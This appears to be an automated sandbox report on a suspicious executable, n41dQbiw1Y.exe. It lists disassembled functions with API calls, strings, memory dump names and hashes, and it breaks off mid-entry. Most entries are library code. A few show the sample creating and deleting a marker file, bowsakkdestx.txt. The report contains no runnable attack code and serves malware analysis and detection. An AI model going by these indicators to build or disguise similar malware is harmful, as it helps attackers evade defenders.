Function 00414160 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 120COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004141E4
_memmove.LIBCMT ref: 00414215

Strings

string too long, xrefs: 00414256
invalid string position, xrefs: 00414260

Memory Dump Source

Source File: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2519422559.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 749c0c363911c6b197ced0573a154d5961979834c741efb9d592a9087351605d
Instruction ID: c789d4a5c221ce0c411dffae1b259be01e75b302f83ceaf2f45b858c9c7e4579
Opcode Fuzzy Hash: 749c0c363911c6b197ced0573a154d5961979834c741efb9d592a9087351605d
Instruction Fuzzy Hash: 3D311430300204ABDB28DE5CD8859AA77B6EFC17507600A5EF865CB381D739EDC18BAD

Function 0045AD50 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 91COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0045AD72
_memset.LIBCMT ref: 0045AE15

Strings

.\crypto\buffer\buffer.c, xrefs: 0045AD8B, 0045ADBE, 0045ADD0, 0045ADE7
C7F, xrefs: 0045AD51, 0045AD56, 0045AD69, 0045AE0B, 0045AE14

Memory Dump Source

Source File: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2519422559.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: _memset
String ID: .\crypto\buffer\buffer.c$C7F
API String ID: 2102423945-2013712220
Opcode ID: fce9da4f2685e8a546a1aead5558aa77959c7a2ce52c5fe1bdde6675f364ff59
Instruction ID: 54406e9f1970e0e1dce797ef07034894a3cffcceb7efccd845a222dac3d76e8e
Opcode Fuzzy Hash: fce9da4f2685e8a546a1aead5558aa77959c7a2ce52c5fe1bdde6675f364ff59
Instruction Fuzzy Hash: 91216DB1B443213BE200655DFC83B15B395EB84B19F104127FA18D72C2D2B8BC5982D9

Function 0040C5C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

UuidCreate.RPCRT4(?), ref: 0040C5DA
UuidToStringA.RPCRT4(?,00000000), ref: 0040C5F6
RpcStringFreeA.RPCRT4(00000000), ref: 0040C640

Strings

8a4577dc-de55-4eb5-b48a-8a3eee60cd95, xrefs: 0040C687

Memory Dump Source

Source File: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2519422559.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: StringUuid$CreateFree
String ID: 8a4577dc-de55-4eb5-b48a-8a3eee60cd95
API String ID: 3044360575-2335240114
Opcode ID: d9f4c7b52ce170ad08a629e5cafd8bd8da322b05ac09e2ee2f5755b8a70a64da
Instruction ID: 0eb901185732211e3be4e37390737b2086ad5c5ed8a4bd7d6c842829bf201ec1
Opcode Fuzzy Hash: d9f4c7b52ce170ad08a629e5cafd8bd8da322b05ac09e2ee2f5755b8a70a64da
Instruction Fuzzy Hash: 6C21D771208341ABD7209F24D844B9BBBE8AF81758F004E6FF88993291D77A9549879A

Function 0040C470 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0040C48B
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0040C4A9

Strings

bowsakkdestx.txt, xrefs: 0040C49D

Memory Dump Source

Source File: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2519422559.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: Path$AppendFolder
String ID: bowsakkdestx.txt
API String ID: 29327785-2616962270
Opcode ID: 23fc771ccd0fb84302ef14e270554964de1445af84905d4ed2fddc0fcc519b49
Instruction ID: 3b6c08389df4e48a430741a1ce4ce94f3584f996b8880ee9781e1533d320f445
Opcode Fuzzy Hash: 23fc771ccd0fb84302ef14e270554964de1445af84905d4ed2fddc0fcc519b49
Instruction Fuzzy Hash: 8701DB72B8022873D9306A557C86FFB775C9F51721F0001B7FE08D6181E5E9554646D5

Function 0041BA10 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 24registryCOMMON

Download Yara Rule

APIs

LoadCursorW.USER32(00000000,00007F00), ref: 0041BA4A
RegisterClassExW.USER32(00000030), ref: 0041BA73

Strings

0, xrefs: 0041BA1D
LPCWSTRszWindowClass, xrefs: 0041BA65

Memory Dump Source

Source File: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2519422559.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: ClassCursorLoadRegister
String ID: 0$LPCWSTRszWindowClass
API String ID: 1693014935-1496217519
Opcode ID: fbf28ebe5b3b724a216796b7602f5ba5b22e3d17e3910e7f530213bb4edbfbf6
Instruction ID: 39b267f2af3e8e8601893d5e13e9f0aceec8bb1d15aa8544f670d774de374bdc
Opcode Fuzzy Hash: fbf28ebe5b3b724a216796b7602f5ba5b22e3d17e3910e7f530213bb4edbfbf6
Instruction Fuzzy Hash: 64F0AFB0C042089BEB00DF90D9597DEBBB8BB08308F108259D8187A280D7BA1608CFD9

Function 0040C420 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0040C438
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0040C44E
DeleteFileA.KERNEL32(?), ref: 0040C45B

Strings

bowsakkdestx.txt, xrefs: 0040C442

Memory Dump Source

Source File: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2519422559.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: Path$AppendDeleteFileFolder
String ID: bowsakkdestx.txt
API String ID: 610490371-2616962270
Opcode ID: 51c9fbb63abd04c953cc1c90cd388c2580edec88c84091088bf86cba3f20ed90
Instruction ID: 22f96f022367e4ecd8cb06d74e3ea6c1a096c1ee21cc35b9366b07434c4c4e8f
Opcode Fuzzy Hash: 51c9fbb63abd04c953cc1c90cd388c2580edec88c84091088bf86cba3f20ed90
Instruction Fuzzy Hash: 60E0807564031C67DB109B60DCC9FD5776C9B04B01F0000B2FF48D10D1D6B495444E55

Function 0040ECB0 Relevance: 6.2, APIs: 4, Instructions: 204COMMON

Download Yara Rule

APIs

_strtok.LIBCMT ref: 0040ED66
_memmove.LIBCMT ref: 0040EE25

Memory Dump Source

Source File: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2519422559.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: _memmove_strtok
String ID:
API String ID: 3446180046-0
Opcode ID: d38f1047e7df85797af0b561137eadedeff6a5e02b6b4597d6283ed79f31b173
Instruction ID: d0e58e2a66e8e3875a5229d26ee444e1e0210206766639419d48370c530ec9d7
Opcode Fuzzy Hash: d38f1047e7df85797af0b561137eadedeff6a5e02b6b4597d6283ed79f31b173
Instruction Fuzzy Hash: 7F81B07160020AEFDB14DF59D98079ABBF1FF14304F54492EE40567381D3BAAAA4CB96

Function 0043C677 Relevance: 6.1, APIs: 4, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 0043C6AD
__isleadbyte_l.LIBCMT ref: 0043C6DB
MultiByteToWideChar.KERNEL32(840FFFF8,00000009,?,E1C11FE1,00BFBBEF,00000000,?,00000000,00000000,?,0043C0ED,?,00BFBBEF,00000003), ref: 0043C709
MultiByteToWideChar.KERNEL32(840FFFF8,00000009,?,00000001,00BFBBEF,00000000,?,00000000,00000000,?,0043C0ED,?,00BFBBEF,00000003), ref: 0043C73F

Memory Dump Source

Source File: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2519422559.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 545b86b4f69abcc520aee3959e2c1e78f1be635744476d2f07a63b5a2a38a0c0
Instruction ID: 9bb69ce0c337472f3e835d3bfc0adb25a23875f1fe15b1d3b69bac0ae3c4b713
Opcode Fuzzy Hash: 545b86b4f69abcc520aee3959e2c1e78f1be635744476d2f07a63b5a2a38a0c0
Instruction Fuzzy Hash: 4E31F530600206EFDB218F75CC85BBB7BA5FF49310F15542AE865A72A0D735E851DF98

Function 004C7094 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 004C70AB

Part of subcall function 004C77A0: ___BuildCatchObjectHelper.LIBCMT ref: 004C77D2
Part of subcall function 004C77A0: ___AdjustPointer.LIBCMT ref: 004C77E9

_UnwindNestedFrames.LIBCMT ref: 004C70C2
___FrameUnwindToState.LIBCMT ref: 004C70D4
CallCatchBlock.LIBCMT ref: 004C70F8

Memory Dump Source

Source File: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2519422559.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: Catch$BuildObjectUnwind$AdjustBlockCallFrameFramesHelperNestedPointerState
String ID:
API String ID: 2901542994-0
Opcode ID: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction ID: e860502f941f6c9850043d2e9c4655f99114053cf07e0eb82383b029c5c3ae24
Opcode Fuzzy Hash: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction Fuzzy Hash: 2C011736000108BBCF526F56CC01FDA3FAAEF48718F15801EF91866121D33AE9A1DFA5

Function 004409B9 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 004409DD

Part of subcall function 004410FD: __fltout2.LIBCMT ref: 00441126

__cftog_l.LIBCMT ref: 00440A03
__cftoe_l.LIBCMT ref: 00440A35

Memory Dump Source

Source File: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2519422559.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction ID: 47779ad8523d68e9f2e2bd7ddfa488ab055a33a4313e19cc57a45add4f9be60e
Opcode Fuzzy Hash: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction Fuzzy Hash: B6014E7240014EBBDF125E85CC428EE3F62BB29354F58841AFE1968131C63AC9B2AB85

Function 004127A0 Relevance: 6.0, APIs: 4, Instructions: 39stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32 ref: 004127B9
_malloc.LIBCMT ref: 004127C3

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(00770000,00000000,00000001,00000001,?,?,?,00430E81,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00420CA5

_memset.LIBCMT ref: 004127CE
WideCharToMultiByte.KERNEL32(?,00000000,?,000000FF,00000000,00000001,00000000,00000000), ref: 004127E4

Memory Dump Source

Source File: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2519422559.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: AllocateByteCharHeapMultiWide_malloc_memsetlstrlen
String ID:
API String ID: 2824100046-0
Opcode ID: 5f096c3e9bb47512b2e803a95e05f57af227ed284e059a7ec7b69b1753ace984
Instruction ID: 750470dcacb0e1f47d667e481962336cdcd22eeec5e51d764cc358051e51787a
Opcode Fuzzy Hash: 5f096c3e9bb47512b2e803a95e05f57af227ed284e059a7ec7b69b1753ace984
Instruction Fuzzy Hash: C6F02735701214BBE72066669C8AFBB769DEB86764F100139F608E32C2E9512D0152F9

Function 00412800 Relevance: 6.0, APIs: 4, Instructions: 28stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32 ref: 00412806
_malloc.LIBCMT ref: 00412814

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(00770000,00000000,00000001,00000001,?,?,?,00430E81,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00420CA5

_memset.LIBCMT ref: 0041281F
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000), ref: 00412832

Memory Dump Source

Source File: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2519422559.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: AllocateByteCharHeapMultiWide_malloc_memsetlstrlen
String ID:
API String ID: 2824100046-0
Opcode ID: cc716eae1123478769c9b07cafd2d40a616cf11e9764af6c4d9ae2a2154c1c51
Instruction ID: a3b2a97d17252553cb1267f0baabe0c67c158e4fedc78561389223423b5350a8
Opcode Fuzzy Hash: cc716eae1123478769c9b07cafd2d40a616cf11e9764af6c4d9ae2a2154c1c51
Instruction Fuzzy Hash: 74E086767011347BE510235B7C8EFAB665CCBC27A5F50012AF615D22D38E941C0185B4

Function 00414920 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 319COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004149F1

Strings

string too long, xrefs: 00414C33
invalid string position, xrefs: 00414C3D

Memory Dump Source

Source File: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2519422559.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 9bedb6a4875daed597998ed3f540e95eec51a82ba5ae0fcf6873f5b611974ef0
Instruction ID: e15d95b7bc4e28eadeb147f52893af2b9f74cdff9e85ed34d7497a2036010d09
Opcode Fuzzy Hash: 9bedb6a4875daed597998ed3f540e95eec51a82ba5ae0fcf6873f5b611974ef0
Instruction Fuzzy Hash: 86C15C70704209DBCB24CF58D9C09EAB3B6FFC5304720452EE8468B655DB35ED96CBA9

Function 00470040 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 201COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00470118
_memset.LIBCMT ref: 00470199

Strings

.\crypto\asn1\tasn_new.c, xrefs: 004700F9, 0047017A, 00470202, 00470228

Memory Dump Source

Source File: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2519422559.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: _memset
String ID: .\crypto\asn1\tasn_new.c
API String ID: 2102423945-2878120539
Opcode ID: 71e1991ce2e3632dc73bc3e3216da1e10f6e2bb0c3d1e289869c94216a61690f
Instruction ID: a01d7b69f66ede694d5e1501cc12839462a5262961aeb872149f1145b0afa5c3
Opcode Fuzzy Hash: 71e1991ce2e3632dc73bc3e3216da1e10f6e2bb0c3d1e289869c94216a61690f
Instruction Fuzzy Hash: 5D510971342341A7E7306EA6AC82FB77798DF41B64F04442BFA0CD5282EA9DEC44817A

Function 00417D50 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 179COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00417E2E

Strings

string too long, xrefs: 00417EE9
invalid string position, xrefs: 00417EDF

Memory Dump Source

Source File: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2519422559.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 7df1e10ad76e29fab8b9693ecc8e3a17a06a76cc108172ebea4210ab36e9a770
Instruction ID: 388339a757d446dde0ac97e241c54aefb3b464f1a8010d5a2c21a1bfa385432d
Opcode Fuzzy Hash: 7df1e10ad76e29fab8b9693ecc8e3a17a06a76cc108172ebea4210ab36e9a770
Instruction Fuzzy Hash: AC517F317042099BCF24DF19D9808EAB7B6FF85304B20456FE8158B351DB39ED968BE9

Function 004516A0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 75COMMON

Download Yara Rule

Strings

unknown, xrefs: 0045175D
.\crypto\err\err.c, xrefs: 004516A5, 004516C4, 004516DB, 004516EE, 0045170D, 00451777

Memory Dump Source

Source File: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2519422559.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID:
String ID: .\crypto\err\err.c$unknown
API String ID: 0-565200744
Opcode ID: 9dae3d662d88e5d53485dd14566563c9255a5f0e4e3b7cf97cf97a7a2e17faf8
Instruction ID: d1206a4052711c5ef0d05e5a1f97d3c0da723a5ab1c334b9285c6dd525f2274c
Opcode Fuzzy Hash: 9dae3d662d88e5d53485dd14566563c9255a5f0e4e3b7cf97cf97a7a2e17faf8
Instruction Fuzzy Hash: 72117C69F8070067F6202B166C87F562A819764B5AF55042FFA482D3C3E2FE54D8829E

Function 0042A77E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 0042AB93
___raise_securityfailure.LIBCMT ref: 0042AC7A

Strings

8Q, xrefs: 0042AC75

Memory Dump Source

Source File: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2519422559.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: FeaturePresentProcessor___raise_securityfailure
String ID: 8Q
API String ID: 3761405300-2096853525
Opcode ID: eccf15afe34b7bdc1ccbb155ef79912499653c52d5481e078dd775b5985af611
Instruction ID: cc78ca7643d31f84c049b3cf87471233b0d3094e131d8c276326ba2ae67c1d9c
Opcode Fuzzy Hash: eccf15afe34b7bdc1ccbb155ef79912499653c52d5481e078dd775b5985af611
Instruction Fuzzy Hash: 4F21FFB5500304DBD750DF56F981A843BE9BB68310F10AA1AE908CB7E0D7F559D8EF45

Function 00413C40 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMON

Download Yara Rule

APIs

Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception.LIBCPMT ref: 00413CA0

Part of subcall function 00423B4C: _malloc.LIBCMT ref: 00423B64

_memset.LIBCMT ref: 00413C83

Strings

vector<T> too long, xrefs: 00413C96

Memory Dump Source

Source File: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2519422559.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception_malloc_memset
String ID: vector<T> too long
API String ID: 1327501947-3788999226
Opcode ID: bee131cae62505d5b27d92a2cf2c3683ee6202f618915eea824bf027ad2811f5
Instruction ID: e8ff6f7d1438dbc4cc0d31425bbcf17e71e6c586c3cd126e38002517ea96b8c1
Opcode Fuzzy Hash: bee131cae62505d5b27d92a2cf2c3683ee6202f618915eea824bf027ad2811f5
Instruction Fuzzy Hash: AB0192B25003105BE3309F1AE801797B7E8AF40765F14842EE99993781F7B9E984C7D9

Function 00420DB3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 00420DD5
__calloc_crt.LIBCMT ref: 00420DEE

Strings

Assertion failed: %s, file %s, line %d, xrefs: 00420E13

Memory Dump Source

Source File: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2519422559.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: __calloc_crt
String ID: Assertion failed: %s, file %s, line %d
API String ID: 3494438863-969893948
Opcode ID: 561489f2e4af6d624f58dbcfcda68910edfdae4a72d1be81448c26c2074ac95f
Instruction ID: 3c5265aa1bf4e9f5ad4874ec33d215fa8746995624eee7e22a7137551c8458fa
Opcode Fuzzy Hash: 561489f2e4af6d624f58dbcfcda68910edfdae4a72d1be81448c26c2074ac95f
Instruction Fuzzy Hash: 75F0A97130A2218BE734DB75BC51B6A27D5AF22724B51082FF100DA5C2E73C88425699

Function 00480620 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 00480686

Part of subcall function 00454C00: _raise.LIBCMT ref: 00454C18

Strings

.\crypto\evp\digest.c, xrefs: 00480638
ctx->digest->md_size <= EVP_MAX_MD_SIZE, xrefs: 0048062E

Memory Dump Source

Source File: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2519422559.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: _memset_raise
String ID: .\crypto\evp\digest.c$ctx->digest->md_size <= EVP_MAX_MD_SIZE
API String ID: 1484197835-3867593797
Opcode ID: 332f563a29a4ae085e93c3cfda2a52d89a6f4a051d037047c0cfd39b7a6a7ebb
Instruction ID: 96aa535d5fc7c596ca855a62b55a20e08de4f59c43588781e3518ec4b5147bd0
Opcode Fuzzy Hash: 332f563a29a4ae085e93c3cfda2a52d89a6f4a051d037047c0cfd39b7a6a7ebb
Instruction Fuzzy Hash: 82012C756002109FC311EF09EC42E5AB7E5AFC8304F15446AF6889B352E765EC558B99

Analysis Process: n41dQbiw1Y.exePID: 7460, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	1.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	38
Total number of Limit Nodes:	8

Executed Functions

Function 04340110 Relevance: 22.7, APIs: 15, Instructions: 248
memorynativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

